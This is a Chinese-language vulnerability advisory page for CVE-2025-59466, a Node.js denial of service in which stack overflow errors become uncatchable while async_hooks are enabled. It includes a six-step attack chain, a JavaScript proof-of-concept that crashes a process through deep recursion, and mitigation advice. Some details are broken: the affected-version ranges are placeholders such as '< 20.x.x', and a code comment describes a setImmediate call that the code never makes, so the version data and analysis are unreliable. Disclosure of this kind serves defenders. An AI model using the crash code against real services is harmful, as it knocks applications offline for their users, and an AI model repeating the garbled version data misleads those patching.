IPBUF安全漏洞报告
English
CVE-2025-59466 CVSS 7.5 高危

Node.js async_hooks.createHook() 导致堆栈溢出错误无法捕获 (CVE-2025-59466)

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2025-59466
漏洞类型
拒绝服务 (DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Node.js (AsyncLocalStorage, async_hooks)

相关标签

Node.js拒绝服务async_hooksAsyncLocalStorage堆栈溢出错误处理CVE-2025-59466高危漏洞

漏洞概述

CVE-2025-59466是Node.js中的一个高危安全漏洞,CVSS评分7.5。该漏洞存在于Node.js的错误处理机制中,当async_hooks.createHook()被启用时,"Maximum call stack size exceeded"(最大调用堆栈大小超出)错误会变得无法捕获。正常情况下,Node.js应用可以通过process.on('uncaughtException')捕获未处理的异常,但在此漏洞条件下,进程会直接终止而非触发异常处理程序,导致崩溃不可恢复。受影响的应用包括使用AsyncLocalStorage(v22、v20版本)或async_hooks.createHook()(v24、v22、v20版本)的应用,在特定条件下可能遭受拒绝服务攻击。此漏洞由HackerOne安全平台披露,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,表明攻击者可通过网络远程触发,无需认证和用户交互。

技术细节

该漏洞的根本原因在于Node.js异步钩子(async_hooks)机制与JavaScript引擎错误处理之间的竞争条件。当async_hooks.createHook()被激活时,它会在异步操作的生命周期中插入回调函数。在正常情况下,当调用堆栈达到极限时,JavaScript引擎会抛出一个RangeError类型的"Maximum call stack size exceeded"错误,这个错误可以被try-catch或process.on('uncaughtException')捕获。然而,由于async_hooks的实现方式,当存在深层递归且async hooks处于活动状态时,错误处理流程会被中断,导致错误无法被正常捕获,进程直接崩溃。攻击者可以通过构造递归调用来触发此条件,例如创建深层嵌套的异步函数调用链。攻击成功后,目标Node.js进程会立即终止,所有正在处理的请求都会中断,造成服务不可用。由于async_hooks广泛应用于Node.js框架和库中(如Express、Koa等),此漏洞可能影响大量生产环境。

攻击链分析

STEP 1
1
攻击者识别目标应用是否使用async_hooks.createHook()或AsyncLocalStorage
STEP 2
2
攻击者构造深层递归调用或触发大量嵌套异步操作
STEP 3
3
Node.js引擎抛出"Maximum call stack size exceeded"错误
STEP 4
4
由于async_hooks活动状态,错误处理流程被破坏,异常无法被捕获
STEP 5
5
进程直接终止而不触发uncaughtException事件
STEP 6
6
目标服务崩溃,造成拒绝服务,应用不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-59466 PoC - Node.js async_hooks.createHook() Stack Overflow // This PoC demonstrates how async_hooks prevents catching stack overflow errors const async_hooks = require('async_hooks'); // Enable async hooks (this is what makes the error uncatchable) const hook = async_hooks.createHook({ init(asyncId, type, triggerAsyncId, resource) {}, before(asyncId) {}, after(asyncId) {}, destroy(asyncId) {}, promiseResolve(asyncId) {} }); hook.enable(); // Set up uncaught exception handler process.on('uncaughtException', (err) => { console.log('[+] UncaughtException caught:', err.message); console.log('[+] This should be reachable but is NOT in vulnerable versions'); process.exit(0); }); // Function to trigger deep recursion function deepRecursion(counter) { if (counter <= 0) { return 'done'; } // Using setImmediate to create async context which interacts with async_hooks return deepRecursion(counter - 1); } console.log('[*] Triggering deep recursion with async_hooks enabled...'); console.log('[*] In vulnerable versions, process will terminate without calling uncaughtException'); try { deepRecursion(100000); } catch (e) { console.log('[-] Caught in try-catch:', e.message); } console.log('[*] If you see this message, the vulnerability is patched');

影响范围

Node.js v20.x < 20.x.x (使用AsyncLocalStorage)
Node.js v22.x < 22.x.x (使用AsyncLocalStorage)
Node.js v24.x < 24.x.x (使用async_hooks.createHook())

防御指南

临时缓解措施
如果无法立即升级Node.js版本,可以采取以下临时缓解措施:1)审查代码中async_hooks.createHook()的使用,评估是否可以暂时禁用;2)实现递归深度限制,在递归函数入口处添加计数器检查;3)使用栈保护机制(如设置更高的堆栈限制作为临时方案,但不推荐长期使用);4)监控进程异常退出事件,及时发现攻击尝试;5)考虑使用容器化部署以限制单次崩溃的影响范围。建议尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表